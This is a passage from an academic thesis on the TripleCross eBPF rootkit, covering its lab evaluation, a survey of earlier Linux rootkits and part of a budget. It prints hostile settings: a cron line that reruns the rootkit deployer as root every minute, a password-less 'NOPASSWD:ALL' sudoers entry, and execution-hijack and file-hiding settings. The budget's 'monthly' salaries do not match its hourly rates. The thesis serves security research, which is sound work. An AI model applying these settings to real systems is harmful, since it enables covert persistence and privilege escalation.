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Fig. 5.13. Encrypted pseudo-shell with rootkit client using multi-packet trigger with payload
hidden in TCP sequence number.
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Fig. 5.14. Encrypted pseudo-shell with rootkit client using multi-packet trigger with payload
hidden in TCP source port.
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5.5.2. Spawning phantom shells

A phantom shell can be spawned using the rootkit client by sending pattern-based back-
door triggers. As we explained in Section 4.5.2, the response to a client command will
only be received once a TCP packet is sent from the infected machine to some location.
Therefore, we need to wait until any application sends a TCP packet.

For requesting a phantom shell, the attacker must introduce the following arguments:

• The IP address of the infected machine.

• The network interface to use for sending the trigger.

Once the request is sent by the rootkit client, it will scan the network for the response.
As Figure 5.15 shows, this rootkit client displays an alert whenever a packet is received.

Fig. 5.15. Requesting a phantom shell with the rootkit client.

At some point, the infected machine will send a TCP packet to any host. We can speed
up this process by, for instance, launching a web broswer and visiting any page. When
this happens, one TCP packet will be hijacked and sent to the rootkit client, which will
show the attacker that the phantom shell is now ready to introduce commands, as shown
in figure 5.16.

5.5.3. eBPF programs control

The rootkit client incorporates two commands to operate the state of the rootkit eBPF
programs using the backdoor, enabling to activate or deactivate them as a group.

Figure 5.17 shows how the attacker can detach all eBPF programs (except the back-
door, which as we mentioned in Section 4.5.2 must stay attached to receive further com-
mands).
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Fig. 5.16. Rootkit client after phantom shell response is received.

Fig. 5.17. Requesting to detach all eBPF programs using rootkit client.
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Once the command is executed, we can check that, for instance, the privilege execu-
tion module is unloaded, as shown in Figure 5.18.

Fig. 5.18. User osboxes permissions after eBPF programs are detached.

Since the backdoor will be still running, the attacker can now request to attach all
eBPF programs again, as shown in Figure 5.19

Fig. 5.19. Requesting to attach all eBPF programs using rootkit client.

After the command is executed, all rootkit modules will be loaded again. We can
check it by observing the permissions of the user osboxes, as shown in Figure 5.20.

Fig. 5.20. User osboxes permissions after eBPF programs are attached.

5.5.4. Modifying incoming traffic (PoC)

The backdoor incorporates a simple proof of concept to show how the rootkit may modify
incoming network traffic. Although this feature has not been integrated in any of the C2
modules, we considered this functionality to be relevant enough to implement it individ-
ually.

This PoC shows the rootkit client sending a packet with a payload "XDP_PoC_0"
sent to the infected machine port 9000. Upon inspection of this packet, the machine will
read the content as "The previous message has been hidden". Figure 5.21 shows how the
rootkit client can send this packet.
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Fig. 5.21. Sending packet for traffic modification PoC with rootkit client.

To perform this PoC we will use tcpdump (which we explained in Section 2.1.5) to
inspect the received packets. Figure 5.22 shows the packet and payload received when the
rootkit is not installed.

Fig. 5.22. Packet captured with tcpdump in traffic modification PoC with rootkit not installed.

Once the rootkit is installed, it will modify the length and contents, as shown in Figure
5.23.

Fig. 5.23. Packet captured with tcpdump in traffic modification PoC with rootkit installed.

5.6. Tampering with system calls

This functionality has been incorporated in multiple rootkit modules, but it is particularly
relevant in the execution hijacking and privilege escalation modules.

5.6.1. Hijacking programs execution

Once the rootkit is installed, it will attempt to hijack any new program that is executed.
As we explained in Section 4.4, once the rootkit suceeds a malicious program will be run,
which will listen for commands from the rootkit client, enabling the attacker to open a
plaintext pseudo-shell.
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In this evaluation, we will attempt to test the hijacking process with a test program
src/helpers/simple_execve and another with any process of the machine. Table 5.8 shows
some of the configuration options that must be selected before running this module.

FILENAME CONSTANT DESCRIPTION
src/common/
constants.h

PATH_EXECUTION_
HIJACK_PROGRAM

Location of the malicious program
to be executed upon succeeding to

execute a sys_execve call.
src/common/
constants.h

EXEC_HIJACK_
ACTIVE

Deactivate (0) or activate (1) the
execution hijacking module.

src/common/
constants.h

TASK_COMM_
RESTRICT_HIJACK_

ACTIVE

Hijack any sys_execve call (0) or
only those indicated in TASK_
COMM_NAME_RESTRICT_

HIJACK (1).
src/common/
constants.h

TASK_COMM_NAME_
RESTRICT_HIJACK

Name of the program from which
to hijack sys_execve calls.

Table 5.8. Execution hijacking module configuration.

Test program simple_execve
This program contains a simple sys_execve call that runs the bash command "pwd", which
displays the current directory. As we can observe in Table 5.9, for this test we will set the
PATH_EXECUTION_HIJACK_PROGRAM setting to the path where we have hidden
the malicious program, and set the TASK_COMM_NAME_RESTRICT_HIJACK setting
to indicate that we want to hijack calls executed from the simple_execve program.

FILENAME CONSTANT VALUE
src/common/
constants.h

PATH_EXECUTION_
HIJACK_PROGRAM

"/home/osboxes/
SECRETDIR/

src/helpers/ execve_
hijack"

src/common/
constants.h

EXEC_HIJACK_
ACTIVE

1

src/common/
constants.h

TASK_COMM_
RESTRICT_HIJACK_

ACTIVE

1

src/common/
constants.h

TASK_COMM_NAME_
RESTRICT_HIJACK

"simple_execve"

Table 5.9. Execution hijacking module configuration for attacking test
program simple_execve.

Figure 5.24 shows the normal execution of the simple_execve program. As we can
observe, it prints the current directory, as expected.
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Fig. 5.24. Execution of test program simple_execve with rootkit not installed.

Once the rootkit is installed, we will open a shell in the infected machine and execute
again the simple_execve program. The result is shown in Figure 5.25.

Fig. 5.25. Execution of test program simple_execve with rootkit installed.

As we can observe in the figure, the rootkit hijacked the call and executed the mali-
cious program instead. Each time the malicious program is executed, it alerts us with a
message (this would be hidden in a non-experimental case). We can see that it is executed
twice (since it needs to run itself as sudo, as we explained in Section 4.4.3) and then it
forks() itself and executes the original program (we can see the output of pwd) and then
starts to listen for the rootkit client connections. Figure 5.26 shows how the rootkit client
spawns a plaintext pseudo-shell with the malicious program and runs a command.

Fig. 5.26. Spawning plaintext pseudo-shell with rootkit client.

As we can observe in the figure, the rootkit client will connect to the malicious pro-
gram, enabling the attacker to send any command. Once it is received by the malicious
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program, it will execute it and answer back to the rootkit client with the output according
to the plaintext pseudo-shell network protocol. As shown in Figure 5.27, the malicious
program shows information about the actions that have been executed (which would be
hidden in a real scenario).

Fig. 5.27. Execition of command requested from rootkit client in the infected machine.

Hijacking the execution of any program
As we mentioned in Section 4.4, it is possible that programs fail to be hijacked due to
page faults. Because of this, it can take a long time for an specific program (such as
bash) to trigger the execution of the malicious program so that the attacker can connect
via the plaintext pseudo-shell. This is the reason why the rootkit can also be set to attempt
hijacking any program execution from the system instead of restricting the operation to a
single process. In this mode, the rootkit will attempt to hijack any sys_execve call until it
succeeds once, afterwards the execution hijacking module will be deactivated. Table 5.10
shows the configuration for this mode.

The process will be identical to that shown with the test program simple_execve. Once
a sys_execve call is hijacked, the malicious program will listen for comamnds sent from
the rootkit client, as we showed previously in Figure 5.26.

5.6.2. Privilege escalation

As we showed in Section 4.3, the privilege escalation module tampers with system calls
buffers to modify the contents read from the /etc/sudoers file by the sudo process. Figure
5.28 shows the sudo permissions of user osboxes previously to the installation of the
rootkit. As we can observe, it has sudo privileges, but requires a password.

Once the rootkit is installed, every time the sudo process requests to read the /etc/su-
doers file, the contents will be modified. Figure 5.29 shows that now the user osboxes
appears to have sudo privileges without requiring a password.
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FILENAME CONSTANT VALUE
src/common/
constants.h

PATH_EXECUTION_
HIJACK_PROGRAM

"/home/osboxes/
SECRETDIR/

src/helpers/execve_
hijack"

src/common/
constants.h

EXEC_HIJACK_
ACTIVE

1

src/common/
constants.h

TASK_COMM_
RESTRICT_HIJACK_

ACTIVE

0

src/common/
constants.h

TASK_COMM_NAME_
RESTRICT_HIJACK

""

Table 5.10. Execution hijacking module configuration for attempting to
hijack any sys_execve call.

Fig. 5.28. Sudo privileges of user osboxes before rootkit installation.

Fig. 5.29. Sudo privileges of user osboxes after rootkit installation.
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Note that this modification only applies to the sudo process. For instance, if any user
wants to read the /etc/sudoers file, it appears intact as shown in Figure 5.30.

Fig. 5.30. Reading sudoers file after rootkit installation.

5.6.3. Rootkit stealth

As we presented in Section 4.9, the following files and directories will be hidden by the
rootkit:

• Files named "ebpfbackdoor", to hide those corresponding to the rootkit persistence.

• Entire directories named "SECRETDIR", to hide the rootkit files.

The files and directories being hidden can be modified by using the settings shown in
Table 5.11.

FILENAME CONSTANT DESCRIPTION
src/common/
constants.h

SECRET_DIRECTORY_
NAME_HIDE

Name of directory to hide.

src/common/
constants.h

SECRET_FILE_
PERSISTENCE_NAME

Name of the file to hide.

Table 5.11. Rootkit stealth module configuration.

We will now test this module in the infected machine.

Hiding rootkit directory
In the attack scenario we described in Section 5.3, the SECRETDIR directory was created
under /home/osboxes and it was set as the root directory where to hide the rootkit files.
Table 5.12 details the rootkit configuration needed to hide this directory.
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FILENAME CONSTANT VALUE
src/common/
constants.h

SECRET_DIRECTORY_
NAME_HIDE

"SECRETDIR"

Table 5.12. Rootkit configuration for hiding directory "SECRETDIR".

Listing the files and directories under the command ls yields the results shown in
Figure 5.31.

Fig. 5.31. Listing files and directories at the home directory before rootkit installation.

After the rootkit is loaded, we can observe in Figure 5.32 that the directory SECRET-
DIR is not visible anymore.

Fig. 5.32. Listing files and directories at the home directory after rootkit installation.

Hiding persistence files
Hiding the ebpfbackdoor files can be achieved using the configuration shown in Table
5.13.

As we can observe in Figure 5.33, this file is visible before installing the backdoor.

However, once the rootkit is installed, the file will not be listed under the directory (or
any other), as shown in Figure 5.34.

5.7. Rootkit persistence

The files at /etc/cron.d and /etc/sudoers.d ensure the persistence of the rootkit in the in-
fected system. As we explained in Section 4.8, these files are created by the deployer.sh
script before loading the rootkit. In this script, two constants define the contents of the
entry written in these directories, as shown in Table 5.14.

Once the deployer.sh script is excuted, the files are created and, from that point on-
wards, the cron system will install the rootkit if it is not installed already once every
minute. Table 5.15 shows the values of the configuration that must be set for user "os-
boxes". If the user of the infected system was another, or the script was located in a
different location, the name of this user shall be changed.
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FILENAME CONSTANT VALUE
src/common/
constants.h

SECRET_FILE_
PERSISTENCE_NAME

"ebpfbackdoor"

Table 5.13. Rootkit configuration for hiding file "ebpfbackdoor".

Fig. 5.33. Listing files and directories at the cron.d directory before rootkit installation.

Fig. 5.34. Listing files and directories at the cron.d directory after rootkit installation.

FILENAME CONSTANT DESCRIPTION
src/helpers/
deployer.sh

CRON_PERSIST Cron job to execute after reboot.

src/helpers/
deployer.sh

SUDO_PERSIST Sudo entry to grant password-less
privileges.

Table 5.14. Rootkit persistence module configuration.

FILENAME CONSTANT VALUE
src/helpers/
deployer.sh

CRON_PERSIST "* * * * * osboxes /bin/sudo
/home/osboxes/TFG/apps/de-

ployer.sh"
src/helpers/
deployer.sh

SUDO_PERSIST "osboxes ALL=(ALL:ALL)
NOPASSWD:ALL #"

Table 5.15. Configuration for rootkit persistence module with the user
"osboxes".
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5.8. Takeaways

In the previous sections, we have explained the steps needed for using the different rootkit
modules and displayed its functionalities in a test environment. As we saw, we were able
to build at least one rootkit-like functionality using each of the capabilities we proposed
at the beginning of this research work for our rootkit. As a summary, for each of these
capabilities, we achieved the following:

• For hijacking running programs, we built a library injection mechanism that does
not crash the process and thus allows for stealthy execution of code. We also in-
corporated a remote control capability for the malicious injected library so that we
could execute commands remotely from the rootkit client.

• With respect to backdoor and C2 capabilities we seeked for the rootkit, we built
a comprehensive C2 system supporting multiple stealthy backdoor triggers and
encrypted communication systems that allow for executing commands using the
rootkit client, apart from an advanced method for exfiltrating data by modifying the
outgoing traffic. The multiple stealthy features, as we explained in Section 4.5.1,
allow for hiding data from network monitoring software using multiple techniques.
Also, we demonstrated the backdoor capabilities for receiving and transmitting ac-
tions that manipulate the state of eBPF programs.

• In the context of manipulating system calls, this was a key capability used in mul-
tiple of the rootkit modules. We were able to hijack the execution of programs
or modify the contents of critical files in the system, such as /etc/sudoers, which
granted any rootkit user program privileged permissions.

• With respect to rootkit persistence, we built a system that allows for surviving re-
boots, not only ensuring that the rootkit will be installed after one of these events,
but also that the root permissions that were once granted to the rootkit the first time
it was installed are maintained across reboots.

• The stealth module we incorporated allows for hiding the directory where the rootkit
is stored form the user, along with those files responsible from ensuring the rootkit
persistence.

Taking into account all the above, we can confidently claim that we fulfilled the project
objectives of our rootkit development.
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6. RELATED WORK

In this work, we have developed a rootkit that loads itself in the kernel and incorpo-
rates network-level capabilities and other functionalities both at user and kernel space.
Although eBPF, the technology used for this rootkit, has been rarely explored before,
some of the techniques presented here are equivalent (or mimic) those historically in-
corporated in classic rootkits, while others are also inspired by malicious uses of eBPF
explored in recent research.

In this chapter, we provide a comprehensive review of previous work on UNIX/Linux
rootkits, their main types and most relevant examples. We also offer a comparison in
terms of techniques and functionality with previous families. In particular, we highlight
the differences of our eBPF rootkit with respect to others that rely on traditional methods,
and also to those already built using eBPF.

6.1. User-mode rootkits

As discussed in Section 1.1, user-mode rootkits are those that are run at the same level as
common user applications. They do not require to be loaded in the kernel to tamper with
the execution of programs. Instead, they usually redirect or substitute common system
programs to achieve their malicious purposes.

The most popular and commonly found technique in user-mode rootkits is the LD_
PRELOAD technique, which enables to redefine function calls at shared libraries. LD_
PRELOAD is an environment variable interpreted by the dynamic linker at runtime that
indicates to preload a shared library before those already indicated at the ELF file [134].
If this preloaded library implements the same function as some other library, then the
preloaded function overrides the original. This means that a rootkit may define functions
with malicious functionality that will run in any program that loads the library instead of
that from the original function, without the need of modifying any of these programs.

This type of rootkits are considered trivial to detect by an investigator, however they
are easy to write and their capabilities can be quickly extended, which has motivated the
creation of many LD_PRELOAD rootkits.

6.1.1. Jynx/Jynx2

Jynx [135] is one of the most well-known rootkits using the LD_PRELOAD technique.
It injects the name of its malicious library into the file /etc/ld.so.preload, which acts simi-
larly to defining the LD_PRELOAD environment variable for each executable, but instead
applying this setting to any program (since every program checks this file to know the li-
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braries to preload) [136].

Its first version, Jynx, was best known for implementing a backdoor by hooking the
socket function accept() [137]. This function, responsible of accepting a connection, was
defined in a preloaded malicious library so that any connection (specifically encrypted
ones) could be checked to come from a remote attacker. If that is the case, the rootkit
would accept and establish a connection, and then execute a remote root shell which
provided the attacker with remote access.

In its later version, Jynx2 [138], the rootkit incorporated other mechanisms focused on
hiding the rootkit activity [139]. This included hiding Jynx’s connections by hooking read
calls at the /proc filesystem (which we covered in Section 2.10 so that processes related
with the rootkit activity remain undisclosed. Other functionalities include file hiding,
privilege escalation, or multi-factor authentication in the rootkit backdoor.

6.1.2. Azazel

Azazel is another LD_PRELOAD rootkit originally based on Jynx and that extends its
functionalities in multiple areas, including additional anti-debugging and anti-detection
techniques. This rootkit incorporates more hooked functions into its preloaded library to
achieve capabilities such as:

• Avoid detection by programs such as ldd (which lists libraries to be loaded in an
executable), ps (which lists processes) or lsof (that displays opened files by pro-
cesses).

• Hide rootkit files and processes.

• Hide rootkit-related network connections.

• Incorporate backdoors (one launching an encrypted connection, another in plain-
text).

• Clean logs and allow for local privilege escalation.

• Anti-debugging, by means of hooking ptrace() calls.

6.1.3. TripleCross comparison

Jynx—and, especially, Azazel—are advanced rootkits with many functionalities, but they
are restricted both because of the LD_PRELOAD technique and because of working from
the user space. In particular, the use of LD_PRELOAD in a program can be detected
by the export command and removed via unset [140]. In addition, this technique does
not work on statically-linked programs, that is, those where the calls to libraries and
exported functions are resolved at compile time [134]. On the other hand, because they
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only have access to user-space programs and components, their activities can be more
easily detected than a rootkit working from inside the kernel.

Since TripleCross is composed of both a kernel-side component (the eBPF programs
at the kernel) and a user-side component (the rootkit user program that communicates
with eBPF), the capabilities of user-mode rootkits are more limited than those that could
be eventually implemented in TripleCross, yet they are easier and faster to implement,
and do not require loading an eBPF program in the kernel, an event which is likely to be
logged by EDRs and IDSs.

With respect to the capabilities offered, the ability to hook function calls by preloading
libraries so that malicious code is run can be considered analogous to eBPF tracepoint,
kprobe, and uprobes programs. On the one hand, eBPF can modify parameters and exe-
cute kernel code transparently from user programs. On the other hand, user-mode rootkits
may execute any instruction on the preloaded libraries, but eBPF is restricted to a certain
range of operations and those offered by eBPF helpers. Nevertheless, both types of rootk-
its are able to implement the key features needed for a usual rootkit, including a backdoor
and a C2 system, in addition to the basic stealth mechanisms.

6.2. Kernel-mode rootkits

As described in Section 1.1, kernel-mode rootkits are run at the same level of privilege
as the operating system, thus enjoying unrestricted access in both the kernel- and user-
space. These are the hardest and riskiest to develop (since they need to work with kernel
structures and any error could cause a kernel panic), yet the offer the richest and most
powerful variety of functionalities. Also, they mostly remain hidden from the user space,
thus boosting their stealth, while at the same time they are capable of further hiding their
activities thanks to their capabilities at both the user- and kernel-space.

Historically, kernel-mode rootkits in UNIX systems have been built as Loadable Ker-
nel Modules (LKM), whose original purpose is to expand the capabilities of the kernel by
adding new modules for specific tasks without the need of recompiling or even reloading
the kernel.

6.2.1. SucKIT rootkit

Although the great majority of kernel-mode rootkits are loaded as LKMs, SucKIT [141]
remains one of the exceptions to this rule. This old rootkit uses the /dev/kmem special
file [142] for directly accessing kernel memory, including both reading and writing. This
means that the rootkit could potentially find and overwrite key data at the kernel [143].

Nowadays, this type of rootkit is not relevant except for historical reasons, since dis-
tributions such as Debian have limited access to this file to kernels compiled with the
CONFIG_DEVKMEM parameter [144] which is disabled by default [145].
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6.2.2. Diamorphine

Diamorphine [146] is one of the best known kernel-mode rootkits, and it is implemented
as a LKM. This type of rootkits commonly intercept and hook system calls from the
kernel, executing malicious code (together with the original function) with the aim of
achieving different malicious purposes.

When a system call takes place in the user space, an interrupt is issued to the kernel,
which checks the type of syscall that has been issued. This is done using a syscall table,
which relates each system call to the function at the kernel where its implementation is
stored. A common technique by LKMs is to modify the syscall table, so that it points to
the functions implemented by the LKM, where the malicious code will be executed [147].
This code may be a modified version of the original (e.g.: a sys_getdents64 call that lists
files but hides those belonging to the rootkit) or modify kernel and user data received at
the hooked function.

Because LKMs are run directly inside the kernel, they are not limitied and thus they
can read, write and allocate kernel and user memory freely. It is also possible to hook and
modify data at internal kernel functions by means of, for instance, kprobe programs.

In the case of Diamorphine, it uses the aforementioned capabilities to hide processes,
provide local privilege escalation, hide files and directories and implement a messaging
protocol using system calls (it enables a malicious user to locally communicate actions
to the rootkit with kill signals). Most importantly, it hides itself from commands such as
lsmod, which list the LKMs loaded into the kernel, thus turning invisible.

6.2.3. Reptile

Reptile [148] is another LKM rootkit which incorporates advanced stealth and network
functionalities. Some of its most relevant capabilities include:

• Hiding files, directories, processes and network connections related to the rootkit
activity.

• A backdoor that is operated via port-knocking triggers (which we explained in Sec-
tion 4.5.1).

• C2 capabilities via a custom shell (similar to the pseudo-shells of our rootkit).

6.2.4. TripleCross comparison

Although TripleCross incorporates many of the techniques mentioned in Reptile and Di-
amorphine (backdooring, modification of files and directories or local privilege escala-
tion) these capabilities are achieved using workarounds for the limitations of eBPF pro-
grams, namely not having write access in kernel memory. For instance, Reptile can grant
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root privileges to any program by overwriting the kernel data structure storing the user
privileges, whilst this is not achievable for TripleCross, which has to take advantage of
user buffers when reading the /etc/sudoers file.

Therefore, LKMs are more powerful since they enjoy almost no restrictions in the
kernel, while TripleCross’ modules will always be limited to those capabilities achievable
without kernel memory modifications. In terms of developing complexity, LKMs are
more difficult to develop, since eBPF programs will never crash the kernel (because of
the eBPF verifier), whilst developing kernel modules may incur in causing kernel panics,
often because of tiny kernel differences between kernel versions, which leads to having
to adjust the LKM for multiple kernels. On the other hand, although an eBPF program is
guaranteed to work once in the kernel, it requires deep knowledge of which actions are
accepted by the verifier, and about which are the limitations of these programs.

With respect to the techniques used we can also find similarities, since both LKMs
and eBPF rootkits make heavy use of hooking syscalls and kernel functions, with the
only difference that the instructions that can be executed at the eBPF probe function are
restricted to those allowed by the eBPF helpers, whilst LKMs may read or write any
memory section. In terms of network-related functions, both eBPF and LKMs enjoy
similar capabilities, with the exception that LKMs may create their own packets, whilst
eBPF may only modify or drop existing ones. Finally, both LKMs and eBPF rootkits
may execute user space programs (in eBPF, by hijacking calls or triggering actions via
a messaging system such as a ring buffer, and in LKMs using, for instance, the function
call_usermodehelper [149]).

6.3. eBPF rootkits

Although eBPF is loaded at the kernel like kernel-mode rootkits, we will analyze this
type of rootkits separately given their novelty and the difference of their capabilities with
classic LKMs.

Most research work on the offensive capabilities of eBPF has been conducted in re-
cent years, while the first publicly-released eBPF-only rootkit dates from 2021. The work
on this matter by Jeff Dileo and Andy Olsen from NCC Group appeared first in 2018 at
the 35th Chaos Communication Congress (35C3) [150], and later by Jeff Dileo at DEF-
CON 27 (2019) [8]. These works remain one of the first efforts to explore the capabilities
of eBPF applied to computer security. Between others advancements, the capabilities of
eBPF helpers, such as bpf_probe_write_user() or the possibility of hooking and modify-
ing syscalls, were first discussed in the CCC presentation. On the other hand, the work
presented at DEFCON 27 introduces the ROP technique for achieving library injection,
which we have discussed in Section 4.2.1. NCC Group has made publicly available a set
of programs developed in BCC showing a proof of concept for this technique [151].

In 2021, the work of Pat Hogan presented at DEFCON 29 [9] further elaborates on the
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offensive capabilities of eBPF both in the network and at the user space. Specifically, the
possibilities of eBPF network programs as backdoors with C2 functionality are discussed,
together with the capabilities of eBPF to modify data read from critical files, such as /etc/-
sudoers. Although not a rootkit by itself, Hogan released a set of tools that demonstrate
some of these capabilities [152], including local privilege escalation, hiding processes, or
replacing the content of files.

6.3.1. Ebpfkit

Ebpfkit is the first publicly released rootkit fully developed using eBPF. It was presented
in 2021at DEFCON 29 by Guillaume Fournier and Sylvain Afchain from Datadog [10],
and it is also available at GitHub [153]. The same rootkit was also presented at BlackHat
2021 with some additional functionalities [154]. This rootkit uses the Go version of the
libbpf library.

The work of Fournier and Afchainte is developed around the three fundamental pillars
on which eBPF programs operate: the network, the user space and the kernel space.

• In the network, ebpfkit incorporates the first eBPF backdoor with C2 capabilities
powered by an XDP and TC program. It presents for the first time the TCP retrans-
missions technique we explained in Section 2.8.2 for sending new packets from
the backdoor. It also incorporates a network scanning functionality based on this
technique.

• In the kernel space, ebpfkit incorporates hooks at open and read syscalls, with the
purpose of hiding the rootkit (such as hiding the PID at the proc filesystem) or
adding custom ssh keys when the keys file is read by the sshd process. Most impor-
tantly, it incorporates the first technique to hide the warning log messages shown in
the kernel log buffer, which we mentioned in Section 3.3.1. This technique works
by hooking sys_read calls during the attachment process, during which the eBPF
program will indicate the kernel that nothing is available to be read from the buffer
by means of bpf_override_return(), followed by overwritting the warning messages
using bpf_probe_write_user().

• At user space, ebpfkit incorporates multiple techniques to target specific versions
of common software by hooking their function calls using uprobes and modifying
its arguments. An example of this is bypassing the protection of Runtime Applica-
tion Self Protection (RASP) software [155], which are programs oriented towards
monitoring the data in a program to prevent malicious data input by an attacker, so
that a SQL injection attack [156] could take place.
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6.3.2. Boopkit

After the creation of ebpfkit and during 2022, the computer security community has con-
tributed to the creation of more eBPF rootkits, being Boopkit one of the best known,
created by Kris Nóva and available publicly on GitHub [157].

Boopkit incorporates a network backdoor which can be operated via a remote boopkit-
boop remote client. This backdoor incorporates C2 capabilities that enable to spawn a
reverse shell and execute commands remotely. Also, the backdoor listens for ’Boop-
Vectors’, backdoor triggers consisting of either TCP packets with bad calculated check-
sums or TCP packets with the RST and ACK flags activated.

Note that Boopkit is younger than TripleCross and thus it takes no inspiration on this
project.

6.3.3. Rootkits in the wild

Most rootkits found to be actively being used to infect machines are not completely eBPF-
based, but rather incorporate eBPF programs for particular modules of the rootkit, usually
the network. This the case of rootkits Bvp47 (on which as we mentioned we based our
design of one backdoor trigger) [113] and BPFDoor, a rootkit that was discovered by PwC
to be targeting telecommunication companies at Asia and Middle East [5]. Both rootkits
were found to incorporate eBPF for implementing a network backdoor and supporing C2
operations.

Because eBPF XDP programs allow for hiding network communications and hooking
packets before they are even received at the kernel (and LKMs cannot access XDP), this
type of rootkits with eBPF backdoors are a growing tendency. For instance, in June 2022,
a new Linux rootkit named Symbiote discovered by Blackberry was found to combine the
LD_PRELOAD technique with a eBPF backdoor [158].

6.3.4. TripleCross comparison

Although ebpfkit and boopkit are the only major eBPF rootkits publicly available, the
capabilities incorporated into them, together with those described by Jeff Dileo and Pat
Hogan compound a great range of possible functionalities for eBPF rootkits, and Triple-
Cross development has been greatly inspired by this past work. In particular, there exist
the following similarities:

• The backdoor module and C2 capabilities are based on those presented by ebpfkit,
since both rootkits use a combination of XDP and TC programs (for managing in-
coming and outgoing traffic respectively). The phantom shell of TripleCross is also
based on the TCP retransmissions technique of ebpfkit. With respect to backdoor
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triggers, these were based on the Bvp47 and Hive rootkits, as we mentioned in
Section 4.5.1.

• The privilege escalation module is based on the file sys_read syscalls modifica-
tion presented by Pat Hogan, which describes its possibilities for obtaining sudo
privileges by modifying data read from the /etc/sudoers file. Also, the execution
hijacking process is based on the capability of modifying sys_execve described by
Hogan.

• The stack scanning technique used by the library injection module is based on that
presented for the ROP attack by Jeff Dileo.

• The files and directories hiding technique is a common functionality incorporated
at rootkits, although it was first discussed by Johann Rehberger [128].

On the other hand, TripleCross incorporates new features, and builds new capabilities
on top of those techniques in which as we mentioned it is inspired:

• The backdoor in TripleCross is the first incorporating the possibility of managing
multi-packet triggers, apart from featuring a novel C2 system with stealth in mind
and on which actions are not hardcoded values nor they need to be inserted in the
TCP payload field (they can be hidden at the headers). Also, it features encrypted
shell connections for the first time, disguising the malicious traffic with from com-
mon applications, together with the other three types of shells implemented. Finally,
the new RawTCP_Lib library allows the C2 system to incorporate its own protocol
without the need of supplementary network traffic (like 3-way TCP handshakes)
between other purposes, thus reducing the network noise.

It must also be noted that, although the ability to modify outgoing traffic and to
duplicate packets using retransmissions is incorporated in ebpfkit, TripleCross re-
mains as the only other rootkit to implement this functionality.

• The library injection module not only presents an alternative technique to scan scan-
ning presented by Jeff Dileo but also incorporates the possibility of performing
GOT hijacking for the first time with the support of an eBPF program. Overwriting
GOT is a well-known technique (and frequently used before the incorporation of
RELRO), but TripleCross revives it to demonstrate the capabilities of eBPF at the
user space.

• The privilege escalation module mostly uses the same technique as Hogan, but it
incorporates some improvements so that it also enables to work with /etc/sudoers
files which already have a sudo entry at that file.

• The execution hijacking module just takes as a basis that the sys_execve call could
be hijacked, proceeding to build the module on top of that idea. Specifically, new
research into the cases on which this substitution fails has been made (e.g.: page
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faults), together with the argument hiding and malicious program in charge of ma-
nipulating the hijacked calls so that it executes both the original program and mali-
cious code.

• The rootkit persistence module uses cron, which is widely known for rootkit devel-
opment, however it is the first eBPF rootkit to incorporate it. On the other hand,
hiding files and directories is one of the best known techniques in rootkits so it was
the only module leaving little possibilities for innovation.

• TripleCross in general has been designed and implemented to be as modular as
possible, therefore its eBPF program configurator and multi-purpose events sent
via the ring buffer compound another relevant feature.

In summary, TripleCross offers new techniques and modifies others presented in pre-
vious research work, while at the same time takes as a basis both well-known techniques
in rootkit development and also those already presented in previous eBPF rootkits which
are key for certain functionalities, such as ebpfkit’s TCP retransmissions for duplicating
packets.

6.4. Rootkit features comparison

This chapter compares the overall features and capabilities of the rootkits described in
this chapter. Table 6.1 shows this comparison.
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ROOTKIT
AND TYPE

BACKDOOR &
C2

CODE
EXECUTION

DATA MANIP-
ULATION

STEALTH PRIVILEGE
ESCALATION

PERSISTENCE

Jynx2 (LD_
PRELOAD)

accept()
hijacking

LD_PRELOAD User space Files hiding.
Process hiding.

Yes No

Azazel (LD_
PRELOAD)

accept()
hijacking

LD_PRELOAD User space Files hiding.
Process hiding.

Yes No

SucKIT
(/dev/kmem)

Magic packet
trigger

Syscall table
hijack with
/dev/kmem

User and kernel
space

No No /sbin/init hijack

Diamorphine
(LKM)

Local, via kill
signals

At kernel
Kprobes

Kernel space
(kprobes)

Files hiding.
LKM hiding.

Yes No

Reptile (LKM) Port-knocking At kernel
Kprobes

User space (files)
and kernel space

(kprobes)

Files hiding.
LKM hiding.

Process hiding.

Yes Yes

Ebpfkit (eBPF) Port filtering.
Data exfiltration.
Network scans.

At eBPF
programs only

User space (files,
uprobes) Kernel
space (kprobes)

BPF hiding. Files
hiding.

No Init system

boopkit (eBPF) Command
execution. Boop
vectors. Remote

shell.

User program
and eBPF
programs.

No BPF process
hiding.

No No

TripleCross
(eBPF)

Command
execution.

Pattern & Multi
packet trigger.
Remote shells.

User and eBPF
programs.

Library injection
and execution

hijacking.

User space (files,
uprobes) Kernel

space
(tracepoints).

Files hiding.
Packet payload

hiding.

Yes Cron and sudo

Table 6.1. Overall rootkit features comparison.
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7. PROJECT BUDGET

This chapter describes the budget associated to the development of this research project.
For this, we will take into account the costs of the time invested on research, development
and documentation writing, along with other indirect costs associated to the project activ-
ities.

7.1. Gantt chart

Figure 7.1 shows a Gantt presenting the different stages of the project and the distribution
of time between them. As we can observe in the figure, the project can be divided into
three main sections:

• Preliminary research on previous work.

• Development of each rootkit module.

• Documentation.

It is relevant to note that in this research work, because of the complexity and variety
of functionalities of the eBPF system, each of the offensive capabilities of eBPF has been
discovered and implemented as a rootkit module individually. Therefore, there has not
existed a single iteration of analysis, design and implementation, but rather multiple iter-
ations have been made to develop each module. This is the reason why, if we focus our
view in the development stages, each consists on at least one analysis and multiple design
and implementation activities.
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Fig. 7.1. Gantt chart of the project.
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7.2. Estimated costs

This section presents an estimation of the costs associated with the personnel conduct-
ing the activities described in the Gantt chart in addition to all costs derived from the
development of this work.

7.2.1. Personnel costs

Although this project has been developed individually under the supervisor guidance, we
can identify three different roles:

• A cyber security analyst: a role requiring expertise and knowledge about multiple
aspects of Linux systems (such as ELFs, memory architecture and attacks at process
memory), needed for identifying possible offensive capabilities of eBPF. Therefore
this role is responsible of research and analysis of the offensive capabilities of eBPF.
It will also write the corresponding documentation with the gathered knowledge.

• A programmer: a role requiring knowledge about C programming and, prefer-
ably, eBPF developing experience (which requires a different skillset than normal
C, being more similar to the development of programs for the Linux kernel).

• A project manager: a role which administers the tasks and objectives to complete,
contributing leadership and guidance to the team.

We will now consider the wages assigned to each role. The monthly and hourly
salaries are displayed on Table 7.1, and have been obtained using the salaries shown by
Glassdor for each role in the city of Madrid [159] [160] [161]. We have also assumed that
these roles correspond to full-time positions consisting of 40 hours a week, 8 hours a day,
with no vacations.

ROLE MONTHLY RATE HOURLY RATE
Cyber security analyst 26,424 € 12.70 €

Programmer 27,018 € 13.00 €
Project manager 40,000 € 19.23 €

Table 7.1. Average monthly and hourly salary for project staff.

Given the different responsabilities of the team members on the project, Table 7.2
shows the number of hours which each person dedicates daily to the project in average
when perfoming each of the tasks (that is, the length of a working day when assigned to
each task).

